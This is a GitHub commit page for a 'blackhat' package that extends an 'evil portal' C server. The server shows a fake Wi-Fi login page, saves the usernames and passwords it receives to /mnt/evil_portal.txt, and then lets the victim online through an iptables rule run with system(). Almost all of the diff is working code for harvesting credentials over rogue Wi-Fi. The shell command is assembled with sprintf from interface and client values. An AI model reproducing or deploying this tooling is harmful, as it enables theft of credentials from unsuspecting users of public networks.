Skip to content

Commit

Permalink
Evil portal passthough _should_ be working. Needs testing.
Browse files Browse the repository at this point in the history
  • Loading branch information
o7-machinehum committed Dec 11, 2024
1 parent 945e785 commit fcd6221
Show file tree
Hide file tree
Showing 3 changed files with 23 additions and 6 deletions.
2 changes: 2 additions & 0 deletions package/blackhat/build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
gcc -g -DHOST_BUILD -o evil_portal src/evil_portal.c

2 changes: 1 addition & 1 deletion package/blackhat/src/blackhat.sh
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@ function evil_portal() {

kill $(pidof httpd) 2>/dev/null
kill $(pidof evil_portal) 2>/dev/null
./usr/bin/evil_portal $EVIL_PORTAL &
./usr/bin/evil_portal $EVIL_PORTAL $INET_NIC &

# This is the command to route this one IP to the net.
# iptables -t nat -A POSTROUTING -o $INET_NIC -s $CLIENT_IP -j MASQUERADE
Expand Down
25 changes: 20 additions & 5 deletions package/blackhat/src/evil_portal.c
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,12 @@
#include <unistd.h>
#include <signal.h>

#ifdef HOST_BUILD
#define PORT 8080
#else
#define PORT 80
#endif

#define BUF_SIZE 4096

void serve_static_file(int client_socket, const char* filename, const char* content_type) {
Expand Down Expand Up @@ -50,17 +55,26 @@ void redirect_user(int client_socket) {
send(client_socket, redirect_response, strlen(redirect_response), 0);
}

void handle_login(int client_socket, char* body, const char* client_ip) {
void handle_login(int client_socket, char* body, const char* client_ip, const char* wlan_x) {
char* username = NULL;
char* password = NULL;
char cmd[256];

// You shall pass
sprintf(cmd, "iptables -t nat -A POSTROUTING -o $INET_NIC -s %s -j MASQUERADE", client_ip);
sprintf(cmd, "iptables -t nat -A POSTROUTING -o %s -s %s -j MASQUERADE", wlan_x, client_ip);
printf("$ %s\n", cmd);

#ifndef HOST_BUILD
system(cmd);
#endif

// Keep your shit
#ifdef HOST_BUILD
FILE *file = fopen("evil_portal.txt", "a");
#else
FILE *file = fopen("/mnt/evil_portal.txt", "a");
#endif

if (file == NULL) {
printf("Error opening file.\n");
return;
Expand Down Expand Up @@ -105,13 +119,14 @@ void handle_signal(int signal) {
}

int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <path_to_index_html>\n", argv[0]);
if (argc < 3) {
fprintf(stderr, "Usage: %s <path_to_index_html> <wlanX>\n", argv[0]);
return 1;
}
signal(SIGTERM, handle_signal);

const char *html_file_path = argv[1];
const char *wlan_x = argv[2];

int client_socket, valread;
struct sockaddr_in address;
Expand Down Expand Up @@ -155,7 +170,7 @@ int main(int argc, char *argv[]) {
serve_html(client_socket, html_file_path);
}
else if (strncmp(buffer, "POST /login", 11) == 0) {
handle_login(client_socket, buffer, client_ip);
handle_login(client_socket, buffer, client_ip, wlan_x);
}
}

Expand Down

0 comments on commit fcd6221

Please sign in to comment.